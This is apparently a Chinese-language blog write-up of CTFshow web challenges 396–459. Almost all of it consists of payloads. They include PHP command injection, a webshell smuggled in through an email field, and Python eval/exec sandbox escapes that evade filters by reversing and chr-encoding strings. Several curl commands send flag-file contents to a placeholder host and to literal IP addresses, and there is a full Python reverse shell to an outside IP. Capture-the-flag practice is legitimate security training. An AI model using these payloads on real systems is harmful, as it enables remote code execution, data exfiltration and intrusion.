CTFSHOW其他篇

web396、397、398、399、400、401

url=http://1/1;echo `ls`>a.txt
url=http://1/1;echo `cat fl0g.php`>a.txt

web402

payload:url=file://1/1;echo `cat fl0g.php`>a.txt

web403

url=http://127.0.0.1/1;echo `cat fl0g.php`>a.txt

web404

url=http://127.0.0.1111;echo `cat f*`>1.txt;11/a

web405

url=httphp://127.0.0.1111;echo `cat f*`>1.txt;11/a

web406不会


web407

被认为是ipv6地址

ip=cafe::add

web408

用下大佬的话非法字符放在双引号里面绕过email@前缀限制

email="<?=eval($_POST[1])?>"@a.php

web409不会


web410、411

定义和用法
FILTER_VALIDATE_BOOLEAN 过滤器把值作为布尔选项来验证。

Name: "boolean"
ID-number: 258
可能的返回值:

如果是 "1", "true", "on" 以及 "yes",则返回 true。
如果是 "0", "false", "off", "no" 以及 "",则返回 false。
否则返回 NULL。

payload:
b=yes

web412

payload
ctfshow=%0asystem('tac f*');

web413

payload
ctfshow=*/system('tac f*');/*

web414

payload
ctfshow=-1

web415

payload
k=Getflag

web416

payload
f=ctf::flag

web417

想打人的题,一直base解最后的内容如下

include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
	echo $flag;
}else{
	echo 'FLAG_NOT_HERE';
}
?>

payload
ctf=show

web418

给的后门没法用,需要变量覆盖然后利用shell_exec
payloaddie=0&clear=;cp flag.php flag.txt
然后访问flag.txt即可

web419

payload

code=`cp f* f.txt`;

web420

ls找了几个目录发现在/var/www下(ls …/)
剩下的就是打开了
payload
code=nl ../*

还有一种方法,可以参考下大佬写的文章
比如我们想执行 cat index.php,可以依次执行如下命令

>php\\
>dex.\\
>\ in\\
>cat\\

接着执行ls -t >0
这样的话文件0中的内容就是 cat index.php
最后利用sh 0 来执行就可以了

web421

因为flag就在当前目录下,所有相对简单了一些
palyoad nl f*

web422

payload nl *

下面的题都是python的命令执行的,因为下面代码中的return需要返回的是字符串,所以不是字符串的我们就用str函数转换一下就好了。

最原始代码


from flask import Flask
from flask import request
import os

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

web423

无任何过滤,,而且已经导入了os

os.popen('ls /').read()可以看到flag在根目录下。
后面的我们都盲猜flag在根目录下。
payload
open('/flag').read()

web424

去掉了自带的import os
payload
open('/flag').read()

web425

过滤了os字符串,过滤有问题,只会匹配开头
payload
open('/flag').read()

web426

过滤了os|popen,过滤有问题,只会匹配开头
payload
open('/flag').read()

web427

过滤了os|popen|system,过滤有问题,只会匹配开头
payload
open('/flag').read()

web428

过滤了os|popen|system|read,过滤有问题,只会匹配开头
payload
open('/flag').read()

web429

过滤了os|open|system|read,过滤有问题,只会匹配开头
payload
open('/flag').read() open前面有个空格

web430

过滤了os|open|system|read|eval过滤有问题,只会匹配开头
payload
open('/flag').read() open前面有个空格

web431

过滤了os|open|system|read|eval|str过滤有问题,只会匹配开头
payload
open('/flag').read() open前面有个空格

后面就是正常的过滤了,因为过滤了eval所以我们只能用exec来执行了.但是exec的返回值永远是none,所以只能用一些盲打的方法了。

通过一些特殊方法得到了每个的源码(不是问的群主)

web432

过滤了os|open|system|read|eval
复杂的方法的话可以用类似于模板注入的语句

str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))

开个nc监听一下就可以了

web433

过滤了os|open|system|read|eval|builtins
payload

str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://xxx:4567?p=`cat /f*`'))

web434

过滤了os|open|system|read|eval|builtins|curl

str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('cu'%2b'rl http://182.92.91.240:4567?p=`cat /f*`'))

web435、436、437、438、439

435
过滤了os|open|system|read|eval|builtins|curl|_

436
过滤了os|open|system|read|eval|builtins|curl|_|getattr

437
过滤了os|open|system|read|eval|builtins|curl|_|getattr

438
过滤了os|open|system|read|eval|builtins|curl|_|getattr|{

439
过滤了os|open|system|read|eval|builtins|curl|_|getattr|{

python里面可以用分号执行多条语句
比如 a=1;b=2是没有什么问题的
payload

str(exec(')"`*f/ tac`=p?7654:xxx//:ptth lruc"(metsys.so ;so tropmi'[::-1]))

web440

过滤了os|open|system|read|eval|builtins|curl|_|getattr|{|'|"
没有了引号,我们可以用chr构造字符串

s="__import__('os').system('curl http://xxx?p=`cat /f*`')"
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+str(ord(s[i]))+')%2b'
		else:
			t+='chr('+str(ord(s[i]))+')'
	return t

print(ccchr(s))

payload

str(exec(xxx))  xxx为上面脚本运行的结果

web441

在上面的方法上用request进行了优化

?code=str(exec(request.args.get(chr(97))))&a=__import__('os').system('curl http://182.92.91.240:4567?p=`cat /f*`')

web442

过滤了数字,所以直接用chr不好搞了,但是还是有方法的

code=str(exec(request.args.get(request.method)))&GET=__import__('os').system('curl http://xxx:4567?p=`cat /f*`')

web443-444

payload

get:POST=__import__('os').system('curl http://xxx:4567?p=`cat /f*`')

code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

web445、446

payload

get:POST=import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.0.13.43",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

web447

get:
POST=from importlib import reload;import os;reload(os);os.system('curl http://xxx:4567?p=`cat /f*`')

post:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

web448

get:
POST=import shutil;shutil.copy('/usr/local/lib/python3.8/os.py','a.py');import a;a.system('sleep 3')
post:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

web449

get:
POST=s=open('/flag').read();import urllib;urllib.request.urlopen('http://182.92.91.240:4567?p='%2bs)
post:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))

web450

ctfshow=phpinfo^phpinfo^phpinfo

web451

phpanfo^phpznfo^phprnfo
一位一位异或的
'a'^'z'^'r'=i

web452

ctfshow=echo `cat /f*`;

web453、455、456

首先读取index.php的源代码/ctf/show?S=XXX s=index.php
下面是重要的一部分

public function file($request,$response){
	$response->header('Content-Type', 'text/html; charset=utf-8');
	$s=$request->post['s'];
	if(isset($s)){
		file_put_contents('shell.php', $s);
		$response->end('file write done in /var/www/shell.php');
	}
	else{
		$response->end('s not found');
	}
}
public function exec($request,$response){
	system('php shell.php');
	$response->end('command exec done');
	}

也就是说,当我们访问/ctf/file post传入的s会写入shell.php中,然后当我们访问/ctf/exec时,就会去执行刚才的shell.php。
里面的内容大家就可以随意发挥了。
我写的是

<?php system('curl http://xxx.xxx.xxx:4567?p=`ls`');?>

得到flaaag
接着打开就可以了

<?php system('curl http://xxx.xxx.xxx:4567?p=`cat f*`');?>

web454

和上一题基本上没啥区别,就是把exec改成include就可以了

web457

u=admin&p=phpinfo

phpinfo()返回值为true,所以满足$u=='admin'

web458

web459

payload
?u=php://filter/convert.base64-encode/resource=flag.php&p=1

  • 7
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值